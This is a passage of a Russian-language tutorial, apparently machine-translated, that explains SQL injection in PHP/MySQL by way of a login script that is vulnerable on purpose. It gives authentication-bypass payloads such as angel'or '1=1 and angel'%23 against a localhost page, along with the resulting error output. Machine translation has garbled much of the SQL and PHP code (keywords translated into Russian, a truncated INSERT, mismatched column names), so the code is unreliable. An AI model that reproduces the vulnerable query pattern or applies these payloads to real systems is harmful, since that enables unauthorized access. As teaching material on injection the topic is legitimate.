Позвольте мне сначала привести пример, чтобы понять особенность и принцип внедрения под PHP. Конечно, этот пример также может рассказать вам, как научиться создавать эффективные операторы SQL.
Давайте рассмотрим пример проверки пользователя. Сначала создайте базу данных и таблицу данных и вставьте запись следующим образом:
PHP-код:
СОЗДАТЬ ТАБЛИЦУ `пользователь` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL по умолчанию '',
`пароль` varchar(20) NOT NULL по умолчанию '',
ПЕРВИЧНЫЙ КЛЮЧ («идентификатор пользователя»)
) TYPE=MyISAM AUTO_INCREMENT=3;
#
# Экспортируем данные в таблицу `user`
#
INSERT INTO `user` VALUES (1, "angel", "mypass"
Код для проверки файла пользователя выглядит следующим образом:
PHP-код:
<?php
$servername = "локальный хост";
$dbusername = "корень";
$dbpassword = "";
$dbname = "инъекция";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Ошибка подключения к базе данных");
$sql = "SELECT * FROM user WHERE username='$username' AND pass='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
если (пусто($userinfo)){
эхо «Не удалось войти в систему»;
} еще {
echo «Вход успешен»;
}
echo "<p>SQL-запрос:$sql<p>";
?>
В это время мы отправляем:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
и возвращаем:
Предупреждение: mysql_fetch_array(): предоставленный аргумент не является допустимым ресурсом результата MySQL. в F: wwwinjectionuser.php в строке 13
Ошибка входа
SQL-запрос: SELECT * FROM user WHERE username='angel' или 1=1' AND пароль='
Предупреждение PHP: mysql_fetch_array(): предоставленный аргумент не является допустимым ресурсом результата MySQL в F:wwwinjectionuser.php в строке 13.
Видите? После закрытия одинарных кавычек следующие одинарные кавычки не закомментированы, в результате чего одинарные кавычки не соединяются правильно. Таким образом, можно видеть, что построенный нами оператор не может обеспечить правильное выполнение Mysql и его необходимо реструктурировать:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
В это время отображается сообщение «Вход успешен», что указывает на успешный вход. Или отправьте:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
Это приведет к закомментированию следующих операторов! Давайте поговорим о различиях между этими двумя предложениями. В первом предложении, которое мы представили, используются логические операции. Можно сказать, что оно очень широко используется в ASP. Второе и третье предложения основаны на характеристиках MySQL. Mysql поддерживает два формата комментариев: /* и #, поэтому при отправке мы закомментируем следующий код. Стоит отметить, что из-за проблем с кодировкой мы отправляем #. адресная строка IE станет пустой, поэтому при отправке в адресную строку мы должны отправить %23 до того, как он станет #, и он будет успешно прокомментирован. Это намного проще, чем логические операции. мощный и гибкий, чем ASP. Гораздо больше.